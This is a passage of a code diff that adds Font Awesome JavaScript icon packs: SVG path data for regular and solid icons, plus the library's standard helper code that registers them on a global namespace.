80h-82.41l-34-56.7A48 48 0 0 0 274.41 0H173.59a48 48 0 0 0-41.16 23.3L98.41 80H16A16 16 0 0 0 0 96v16a16 16 0 0 0 16 16h16v336a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128h16a16 16 0 0 0 16-16V96a16 16 0 0 0-16-16zM171.84 50.91A6 6 0 0 1 177 48h94a6 6 0 0 1 5.15 2.91L293.61 80H154.39zM368 464H80V128h288zm-212-48h24a12 12 0 0 0 12-12V188a12 12 0 0 0-12-12h-24a12 12 0 0 0-12 12v216a12 12 0 0 0 12 12z"], + "user": [448, 512, [], "f007", "M313.6 304c-28.7 0-42.5 16-89.6 16-47.1 0-60.8-16-89.6-16C60.2 304 0 364.2 0 438.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-25.6c0-74.2-60.2-134.4-134.4-134.4zM400 464H48v-25.6c0-47.6 38.8-86.4 86.4-86.4 14.6 0 38.3 16 89.6 16 51.7 0 74.9-16 89.6-16 47.6 0 86.4 38.8 86.4 86.4V464zM224 288c79.5 0 144-64.5 144-144S303.5 0 224 0 80 64.5 80 144s64.5 144 144 144zm0-240c52.9 0 96 43.1 96 96s-43.1 96-96 96-96-43.1-96-96 43.1-96 96-96z"], + "user-circle": [496, 512, [], "f2bd", "M248 104c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96zm0 144c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-240C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-49.7 0-95.1-18.3-130.1-48.4 14.9-23 40.4-38.6 69.6-39.5 20.8 6.4 40.6 9.6 60.5 9.6s39.7-3.1 60.5-9.6c29.2 1 54.7 16.5 69.6 39.5-35 30.1-80.4 48.4-130.1 48.4zm162.7-84.1c-24.4-31.4-62.1-51.9-105.1-51.9-10.2 0-26 9.6-57.6 9.6-31.5 0-47.4-9.6-57.6-9.6-42.9 0-80.6 20.5-105.1 51.9C61.9 339.2 48 299.2 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 43.2-13.9 83.2-37.3 115.9z"], + "window-close": [512, 512, [], "f410", "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 394c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V86c0-3.3 2.7-6 6-6h404c3.3 0 6 2.7 6 6v340zM356.5 194.6L295.1 256l61.4 61.4c4.6 4.6 4.6 12.1 0 16.8l-22.3 22.3c-4.6 4.6-12.1 4.6-16.8 0L256 295.1l-61.4 61.4c-4.6 4.6-12.1 4.6-16.8 0l-22.3-22.3c-4.6-4.6-4.6-12.1 0-16.8l61.4-61.4-61.4-61.4c-4.6-4.6-4.6-12.1 0-16.8l22.3-22.3c4.6-4.6 12.1-4.6 16.8 0l61.4 61.4 61.4-61.4c4.6-4.6 12.1-4.6 16.8 0l22.3 22.3c4.7 4.6 4.7 12.1 0 16.8z"], + "window-maximize": [512, 512, [], "f2d0", "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 394c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V192h416v234z"], + "window-minimize": [512, 512, [], "f2d1", "M480 480H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h448c17.7 0 32 14.3 32 32s-14.3 32-32 32z"], + "window-restore": [512, 512, [], "f2d2", "M464 0H144c-26.5 0-48 21.5-48 48v48H48c-26.5 0-48 21.5-48 48v320c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h48c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm-96 464H48V256h320v208zm96-96h-48V144c0-26.5-21.5-48-48-48H144V48h320v320z"] + }; + + bunker(function () { + defineIcons('far', icons); + }); + +}()); +(function () { + 'use strict'; + + var _WINDOW = {}; + var _DOCUMENT = {}; + + try { + if (typeof window !== 'undefined') _WINDOW = window; + if (typeof document !== 'undefined') _DOCUMENT = document; + } catch (e) {} + + var _ref = _WINDOW.navigator || {}, + _ref$userAgent = _ref.userAgent, + userAgent = _ref$userAgent === void 0 ? '' : _ref$userAgent; + + var WINDOW = _WINDOW; + var DOCUMENT = _DOCUMENT; + var IS_BROWSER = !!WINDOW.document; + var IS_DOM = !!DOCUMENT.documentElement && !!DOCUMENT.head && typeof DOCUMENT.addEventListener === 'function' && typeof DOCUMENT.createElement === 'function'; + var IS_IE = ~userAgent.indexOf('MSIE') || ~userAgent.indexOf('Trident/'); + + var NAMESPACE_IDENTIFIER = '___FONT_AWESOME___'; + var PRODUCTION = function () { + try { + return undefined === 'production'; + } catch (e) { + return false; + } + }(); + + function bunker(fn) { + try { + fn(); + } catch (e) { + if (!PRODUCTION) { + throw e; + } + } + } + + function _defineProperty(obj, key, value) { + if (key in obj) { + Object.defineProperty(obj, key, { + value: value, + enumerable: true, + configurable: true, + writable: true + }); + } else { + obj[key] = value; + } + + return obj; + } + + function _objectSpread(target) { + for (var i = 1; i < arguments.length; i++) { + var source = arguments[i] != null ? arguments[i] : {}; + var ownKeys = Object.keys(source); + + if (typeof Object.getOwnPropertySymbols === 'function') { + ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { + return Object.getOwnPropertyDescriptor(source, sym).enumerable; + })); + } + + ownKeys.forEach(function (key) { + _defineProperty(target, key, source[key]); + }); + } + + return target; + } + + var w = WINDOW || {}; + if (!w[NAMESPACE_IDENTIFIER]) w[NAMESPACE_IDENTIFIER] = {}; + if (!w[NAMESPACE_IDENTIFIER].styles) w[NAMESPACE_IDENTIFIER].styles = {}; + if (!w[NAMESPACE_IDENTIFIER].hooks) w[NAMESPACE_IDENTIFIER].hooks = {}; + if (!w[NAMESPACE_IDENTIFIER].shims) w[NAMESPACE_IDENTIFIER].shims = []; + var namespace = w[NAMESPACE_IDENTIFIER]; + + function defineIcons(prefix, icons) { + var params = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}; + var _params$skipHooks = params.skipHooks, + skipHooks = _params$skipHooks === void 0 ? false : _params$skipHooks; + var normalized = Object.keys(icons).reduce(function (acc, iconName) { + var icon = icons[iconName]; + var expanded = !!icon.icon; + + if (expanded) { + acc[icon.iconName] = icon.icon; + } else { + acc[iconName] = icon; + } + + return acc; + }, {}); + + if (typeof namespace.hooks.addPack === 'function' && !skipHooks) { + namespace.hooks.addPack(prefix, normalized); + } else { + namespace.styles[prefix] = _objectSpread({}, namespace.styles[prefix] || {}, normalized); + } + /** + * Font Awesome 4 used the prefix of `fa` for all icons. With the introduction + * of new styles we needed to differentiate between them. Prefix `fa` is now an alias + * for `fas` so we'll easy the upgrade process for our users by automatically defining + * this as well. + */ + + + if (prefix === 'fas') { + defineIcons('fa', icons); + } + } + + var icons = { + "ad": [512, 512, [], "f641", "M157.52 272h36.96L176 218.78 157.52 272zM352 256c-13.23 0-24 10.77-24 24s10.77 24 24 24 24-10.77 24-24-10.77-24-24-24zM464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM250.58 352h-16.94c-6.81 0-12.88-4.32-15.12-10.75L211.15 320h-70.29l-7.38 21.25A16 16 0 0 1 118.36 352h-16.94c-11.01 0-18.73-10.85-15.12-21.25L140 176.12A23.995 23.995 0 0 1 162.67 160h26.66A23.99 23.99 0 0 1 212 176.13l53.69 154.62c3.61 10.4-4.11 21.25-15.11 21.25zM424 336c0 8.84-7.16 16-16 16h-16c-4.85 0-9.04-2.27-11.98-5.68-8.62 3.66-18.09 5.68-28.02 5.68-39.7 0-72-32.3-72-72s32.3-72 72-72c8.46 0 16.46 1.73 24 4.42V176c0-8.84 7.16-16 16-16h16c8.84 0 16 7.16 16 16v160z"], + "address-book": [448, 512, [], "f2b9", "M436 160c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20zm-228-32c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H118.4C106 384 96 375.4 96 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z"], + "address-card": [576, 512, [], "f2bb", "M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-352 96c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H86.4C74 384 64 375.4 64 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2zM512 312c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16z"], + "adjust": [512, 512, [], "f042", "M8 256c0 136.966 111.033 248 248 248s248-111.034 248-248S392.966 8 256 8 8 119.033 8 256zm248 184V72c101.705 0 184 82.311 184 184 0 101.705-82.311 184-184 184z"], + "air-freshener": [512, 512, [], "f5d0", "M224 160H96C43 160 0 203 0 256V480C0 497.625 14.375 512 32 512H288C305.625 512 320 497.625 320 480V256C320 203 277 160 224 160ZM160 416C115.875 416 80 380.125 80 336S115.875 256 160 256S240 291.875 240 336S204.125 416 160 416ZM224 32C224 14.375 209.625 0 192 0H128C110.375 0 96 14.375 96 32V128H224V32ZM381.781 51.578C383 50.969 384 49.359 384 48C384 46.625 383 45.031 381.781 44.422L352 32L339.562 2.219C338.969 1 337.375 0 336 0S333.031 1 332.406 2.219L320 32L290.219 44.422C289 45.031 288 46.625 288 48C288 49.359 289 50.969 290.219 51.578L320 64L332.406 93.781C333.031 95 334.625 96 336 96S338.969 95 339.562 93.781L352 64L381.781 51.578ZM448 64L460.406 93.781C461.031 95 462.625 96 464 96S466.969 95 467.562 93.781L480 64L509.781 51.578C511 50.969 512 49.359 512 48C512 46.625 511 45.031 509.781 44.422L480 32L467.562 2.219C466.969 1 465.375 0 464 0S461.031 1 460.406 2.219L448 32L418.219 44.422C417 45.031 416 46.625 416 48C416 49.359 417 50.969 418.219 51.578L448 64ZM480 224L467.562 194.219C466.969 193 465.375 192 464 192S461.031 193 460.406 194.219L448 224L418.219 236.422C417 237.031 416 238.625 416 240C416 241.359 417 242.969 418.219 243.578L448 256L460.406 285.781C461.031 287 462.625 288 464 288S466.969 287 467.562 285.781L480 256L509.781 243.578C511 242.969 512 241.359 512 240C512 238.625 511 237.031 509.781 236.422L480 224ZM445.781 147.578C447 146.969 448 145.359 448 144C448 142.625 447 141.031 445.781 140.422L416 128L403.562 98.219C402.969 97 401.375 96 400 96S397.031 97 396.406 98.219L384 128L354.219 140.422C353 141.031 352 142.625 352 144C352 145.359 353 146.969 354.219 147.578L384 160L396.406 189.781C397.031 191 398.625 192 400 192S402.969 191 403.562 189.781L416 160L445.781 147.578Z"], + "align-center": [448, 512, [], "f037", "M432 160H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 256H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM108.1 96h231.81A12.09 12.09 0 0 0 352 83.9V44.09A12.09 12.09 0 0 0 339.91 32H108.1A12.09 12.09 0 0 0 96 44.09V83.9A12.1 12.1 0 0 0 108.1 96zm231.81 256A12.09 12.09 0 0 0 352 339.9v-39.81A12.09 12.09 0 0 0 339.91 288H108.1A12.09 12.09 0 0 0 96 300.09v39.81a12.1 12.1 0 0 0 12.1 12.1z"], + "align-justify": [448, 512, [], "f039", "M432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "align-left": [448, 512, [], "f036", "M12.83 352h262.34A12.82 12.82 0 0 0 288 339.17v-38.34A12.82 12.82 0 0 0 275.17 288H12.83A12.82 12.82 0 0 0 0 300.83v38.34A12.82 12.82 0 0 0 12.83 352zm0-256h262.34A12.82 12.82 0 0 0 288 83.17V44.83A12.82 12.82 0 0 0 275.17 32H12.83A12.82 12.82 0 0 0 0 44.83v38.34A12.82 12.82 0 0 0 12.83 96zM432 160H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 256H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "align-right": [448, 512, [], "f038", "M16 224h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm416 192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-384H172.83A12.82 12.82 0 0 0 160 44.83v38.34A12.82 12.82 0 0 0 172.83 96h262.34A12.82 12.82 0 0 0 448 83.17V44.83A12.82 12.82 0 0 0 435.17 32zm0 256H172.83A12.82 12.82 0 0 0 160 300.83v38.34A12.82 12.82 0 0 0 172.83 352h262.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288z"], + "allergies": [448, 512, [], "f461", "M416 112c-17.6 0-32 14.4-32 32v72c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V64c0-17.6-14.4-32-32-32s-32 14.4-32 32v152c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V32c0-17.6-14.4-32-32-32s-32 14.4-32 32v184c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V64c0-17.6-14.4-32-32-32S96 46.4 96 64v241l-23.6-32.5c-13-17.9-38-21.8-55.9-8.8s-21.8 38-8.8 55.9l125.6 172.7c9 12.4 23.5 19.8 38.8 19.8h197.6c22.3 0 41.6-15.3 46.7-37l26.5-112.7c3.2-13.7 4.9-28.3 5.1-42.3V144c0-17.6-14.4-32-32-32zM176 416c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm64 128c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm64 32c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32 64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32-128c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"], + "ambulance": [640, 512, [], "f0f9", "M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h16c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm144-248c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48zm176 248c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z"], + "american-sign-language-interpreting": [640, 512, [], "f2a3", "M290.547 189.039c-20.295-10.149-44.147-11.199-64.739-3.89 42.606 0 71.208 20.475 85.578 50.576 8.576 17.899-5.148 38.071-23.617 38.071 18.429 0 32.211 20.136 23.617 38.071-14.725 30.846-46.123 50.854-80.298 50.854-.557 0-94.471-8.615-94.471-8.615l-66.406 33.347c-9.384 4.693-19.815.379-23.895-7.781L1.86 290.747c-4.167-8.615-1.111-18.897 6.946-23.621l58.072-33.069L108 159.861c6.39-57.245 34.731-109.767 79.743-146.726 11.391-9.448 28.341-7.781 37.51 3.613 9.446 11.394 7.78 28.067-3.612 37.516-12.503 10.559-23.618 22.509-32.509 35.57 21.672-14.729 46.679-24.732 74.186-28.067 14.725-1.945 28.063 8.336 29.73 23.065 1.945 14.728-8.336 28.067-23.062 29.734-16.116 1.945-31.12 7.503-44.178 15.284 26.114-5.713 58.712-3.138 88.079 11.115 13.336 6.669 18.893 22.509 12.224 35.848-6.389 13.06-22.504 18.617-35.564 12.226zm-27.229 69.472c-6.112-12.505-18.338-20.286-32.231-20.286a35.46 35.46 0 0 0-35.565 35.57c0 21.428 17.808 35.57 35.565 35.57 13.893 0 26.119-7.781 32.231-20.286 4.446-9.449 13.614-15.006 23.339-15.284-9.725-.277-18.893-5.835-23.339-15.284zm374.821-37.237c4.168 8.615 1.111 18.897-6.946 23.621l-58.071 33.069L532 352.16c-6.39 57.245-34.731 109.767-79.743 146.726-10.932 9.112-27.799 8.144-37.51-3.613-9.446-11.394-7.78-28.067 3.613-37.516 12.503-10.559 23.617-22.509 32.508-35.57-21.672 14.729-46.679 24.732-74.186 28.067-10.021 2.506-27.552-5.643-29.73-23.065-1.945-14.728 8.336-28.067 23.062-29.734 16.116-1.946 31.12-7.503 44.178-15.284-26.114 5.713-58.712 3.138-88.079-11.115-13.336-6.669-18.893-22.509-12.224-35.848 6.389-13.061 22.505-18.619 35.565-12.227 20.295 10.149 44.147 11.199 64.739 3.89-42.606 0-71.208-20.475-85.578-50.576-8.576-17.899 5.148-38.071 23.617-38.071-18.429 0-32.211-20.136-23.617-38.071 14.033-29.396 44.039-50.887 81.966-50.854l92.803 8.615 66.406-33.347c9.408-4.704 19.828-.354 23.894 7.781l44.455 88.926zm-229.227-18.618c-13.893 0-26.119 7.781-32.231 20.286-4.446 9.449-13.614 15.006-23.339 15.284 9.725.278 18.893 5.836 23.339 15.284 6.112 12.505 18.338 20.286 32.231 20.286a35.46 35.46 0 0 0 35.565-35.57c0-21.429-17.808-35.57-35.565-35.57z"], + "anchor": [576, 512, [], "f13d", "M12.971 352h32.394C67.172 454.735 181.944 512 288 512c106.229 0 220.853-57.38 242.635-160h32.394c10.691 0 16.045-12.926 8.485-20.485l-67.029-67.029c-4.686-4.686-12.284-4.686-16.971 0l-67.029 67.029c-7.56 7.56-2.206 20.485 8.485 20.485h35.146c-20.29 54.317-84.963 86.588-144.117 94.015V256h52c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-52v-5.47c37.281-13.178 63.995-48.725 64-90.518C384.005 43.772 341.605.738 289.37.01 235.723-.739 192 42.525 192 96c0 41.798 26.716 77.35 64 90.53V192h-52c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h52v190.015c-58.936-7.399-123.82-39.679-144.117-94.015h35.146c10.691 0 16.045-12.926 8.485-20.485l-67.029-67.029c-4.686-4.686-12.284-4.686-16.971 0L4.485 331.515C-3.074 339.074 2.28 352 12.971 352zM288 64c17.645 0 32 14.355 32 32s-14.355 32-32 32-32-14.355-32-32 14.355-32 32-32z"], + "angle-double-down": [320, 512, [], "f103", "M143 256.3L7 120.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0L313 86.3c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.4 9.5-24.6 9.5-34 .1zm34 192l136-136c9.4-9.4 9.4-24.6 0-33.9l-22.6-22.6c-9.4-9.4-24.6-9.4-33.9 0L160 352.1l-96.4-96.4c-9.4-9.4-24.6-9.4-33.9 0L7 278.3c-9.4 9.4-9.4 24.6 0 33.9l136 136c9.4 9.5 24.6 9.5 34 .1z"], + "angle-double-left": [448, 512, [], "f100", "M223.7 239l136-136c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9L319.9 256l96.4 96.4c9.4 9.4 9.4 24.6 0 33.9L393.7 409c-9.4 9.4-24.6 9.4-33.9 0l-136-136c-9.5-9.4-9.5-24.6-.1-34zm-192 34l136 136c9.4 9.4 24.6 9.4 33.9 0l22.6-22.6c9.4-9.4 9.4-24.6 0-33.9L127.9 256l96.4-96.4c9.4-9.4 9.4-24.6 0-33.9L201.7 103c-9.4-9.4-24.6-9.4-33.9 0l-136 136c-9.5 9.4-9.5 24.6-.1 34z"], + "angle-double-right": [448, 512, [], "f101", "M224.3 273l-136 136c-9.4 9.4-24.6 9.4-33.9 0l-22.6-22.6c-9.4-9.4-9.4-24.6 0-33.9l96.4-96.4-96.4-96.4c-9.4-9.4-9.4-24.6 0-33.9L54.3 103c9.4-9.4 24.6-9.4 33.9 0l136 136c9.5 9.4 9.5 24.6.1 34zm192-34l-136-136c-9.4-9.4-24.6-9.4-33.9 0l-22.6 22.6c-9.4 9.4-9.4 24.6 0 33.9l96.4 96.4-96.4 96.4c-9.4 9.4-9.4 24.6 0 33.9l22.6 22.6c9.4 9.4 24.6 9.4 33.9 0l136-136c9.4-9.2 9.4-24.4 0-33.8z"], + "angle-double-up": [320, 512, [], "f102", "M177 255.7l136 136c9.4 9.4 9.4 24.6 0 33.9l-22.6 22.6c-9.4 9.4-24.6 9.4-33.9 0L160 351.9l-96.4 96.4c-9.4 9.4-24.6 9.4-33.9 0L7 425.7c-9.4-9.4-9.4-24.6 0-33.9l136-136c9.4-9.5 24.6-9.5 34-.1zm-34-192L7 199.7c-9.4 9.4-9.4 24.6 0 33.9l22.6 22.6c9.4 9.4 24.6 9.4 33.9 0l96.4-96.4 96.4 96.4c9.4 9.4 24.6 9.4 33.9 0l22.6-22.6c9.4-9.4 9.4-24.6 0-33.9l-136-136c-9.2-9.4-24.4-9.4-33.8 0z"], + "angle-down": [320, 512, [], "f107", "M143 352.3L7 216.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.2 9.4-24.4 9.4-33.8 0z"], + "angle-left": [256, 512, [], "f104", "M31.7 239l136-136c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9L127.9 256l96.4 96.4c9.4 9.4 9.4 24.6 0 33.9L201.7 409c-9.4 9.4-24.6 9.4-33.9 0l-136-136c-9.5-9.4-9.5-24.6-.1-34z"], + "angle-right": [256, 512, [], "f105", "M224.3 273l-136 136c-9.4 9.4-24.6 9.4-33.9 0l-22.6-22.6c-9.4-9.4-9.4-24.6 0-33.9l96.4-96.4-96.4-96.4c-9.4-9.4-9.4-24.6 0-33.9L54.3 103c9.4-9.4 24.6-9.4 33.9 0l136 136c9.5 9.4 9.5 24.6.1 34z"], + "angle-up": [320, 512, [], "f106", "M177 159.7l136 136c9.4 9.4 9.4 24.6 0 33.9l-22.6 22.6c-9.4 9.4-24.6 9.4-33.9 0L160 255.9l-96.4 96.4c-9.4 9.4-24.6 9.4-33.9 0L7 329.7c-9.4-9.4-9.4-24.6 0-33.9l136-136c9.4-9.5 24.6-9.5 34-.1z"], + "angry": [496, 512, [], "f556", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 240c0-9.3 4.1-17.5 10.5-23.4l-31-9.3c-8.5-2.5-13.3-11.5-10.7-19.9 2.5-8.5 11.4-13.2 19.9-10.7l80 24c8.5 2.5 13.3 11.5 10.7 19.9-2.1 6.9-8.4 11.4-15.3 11.4-.5 0-1.1-.2-1.7-.2.7 2.7 1.7 5.3 1.7 8.2 0 17.7-14.3 32-32 32S136 257.7 136 240zm168 154.2c-27.8-33.4-84.2-33.4-112.1 0-13.5 16.3-38.2-4.2-24.6-20.5 20-24 49.4-37.8 80.6-37.8s60.6 13.8 80.6 37.8c13.8 16.5-11.1 36.6-24.5 20.5zm76.6-186.9l-31 9.3c6.3 5.8 10.5 14.1 10.5 23.4 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-2.9.9-5.6 1.7-8.2-.6.1-1.1.2-1.7.2-6.9 0-13.2-4.5-15.3-11.4-2.5-8.5 2.3-17.4 10.7-19.9l80-24c8.4-2.5 17.4 2.3 19.9 10.7 2.5 8.5-2.3 17.4-10.8 19.9z"], + "ankh": [320, 512, [], "f644", "M296 256h-44.62C272.46 222.01 288 181.65 288 144 288 55.63 230.69 0 160 0S32 55.63 32 144c0 37.65 15.54 78.01 36.62 112H24c-13.25 0-24 10.74-24 24v32c0 13.25 10.75 24 24 24h96v152c0 13.25 10.75 24 24 24h32c13.25 0 24-10.75 24-24V336h96c13.25 0 24-10.75 24-24v-32c0-13.26-10.75-24-24-24zM160 80c29.61 0 48 24.52 48 64 0 34.66-27.14 78.14-48 100.87-20.86-22.72-48-66.21-48-100.87 0-39.48 18.39-64 48-64z"], + "apple-alt": [448, 512, [], "f5d1", "M350.85 129c25.97 4.67 47.27 18.67 63.92 42 14.65 20.67 24.64 46.67 29.96 78 4.67 28.67 4.32 57.33-1 86-7.99 47.33-23.97 87-47.94 119-28.64 38.67-64.59 58-107.87 58-10.66 0-22.3-3.33-34.96-10-8.66-5.33-18.31-8-28.97-8s-20.3 2.67-28.97 8c-12.66 6.67-24.3 10-34.96 10-43.28 0-79.23-19.33-107.87-58-23.97-32-39.95-71.67-47.94-119-5.32-28.67-5.67-57.33-1-86 5.32-31.33 15.31-57.33 29.96-78 16.65-23.33 37.95-37.33 63.92-42 15.98-2.67 37.95-.33 65.92 7 23.97 6.67 44.28 14.67 60.93 24 16.65-9.33 36.96-17.33 60.93-24 27.98-7.33 49.96-9.67 65.94-7zm-54.94-41c-9.32 8.67-21.65 15-36.96 19-10.66 3.33-22.3 5-34.96 5l-14.98-1c-1.33-9.33-1.33-20 0-32 2.67-24 10.32-42.33 22.97-55 9.32-8.67 21.65-15 36.96-19 10.66-3.33 22.3-5 34.96-5l14.98 1 1 15c0 12.67-1.67 24.33-4.99 35-3.99 15.33-10.31 27.67-18.98 37z"], + "archive": [512, 512, [], "f187", "M32 448c0 17.7 14.3 32 32 32h384c17.7 0 32-14.3 32-32V160H32v288zm160-212c0-6.6 5.4-12 12-12h104c6.6 0 12 5.4 12 12v8c0 6.6-5.4 12-12 12H204c-6.6 0-12-5.4-12-12v-8zM480 32H32C14.3 32 0 46.3 0 64v48c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16V64c0-17.7-14.3-32-32-32z"], + "archway": [576, 512, [], "f557", "M560 448h-16V96H32v352H16.02c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16H176c8.84 0 16-7.16 16-16V320c0-53.02 42.98-96 96-96s96 42.98 96 96l.02 160v16c0 8.84 7.16 16 16 16H560c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm0-448H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h544c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16z"], + "arrow-alt-circle-down": [512, 512, [], "f358", "M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zM212 140v116h-70.9c-10.7 0-16.1 13-8.5 20.5l114.9 114.3c4.7 4.7 12.2 4.7 16.9 0l114.9-114.3c7.6-7.6 2.2-20.5-8.5-20.5H300V140c0-6.6-5.4-12-12-12h-64c-6.6 0-12 5.4-12 12z"], + "arrow-alt-circle-left": [512, 512, [], "f359", "M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zm116-292H256v-70.9c0-10.7-13-16.1-20.5-8.5L121.2 247.5c-4.7 4.7-4.7 12.2 0 16.9l114.3 114.9c7.6 7.6 20.5 2.2 20.5-8.5V300h116c6.6 0 12-5.4 12-12v-64c0-6.6-5.4-12-12-12z"], + "arrow-alt-circle-right": [512, 512, [], "f35a", "M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 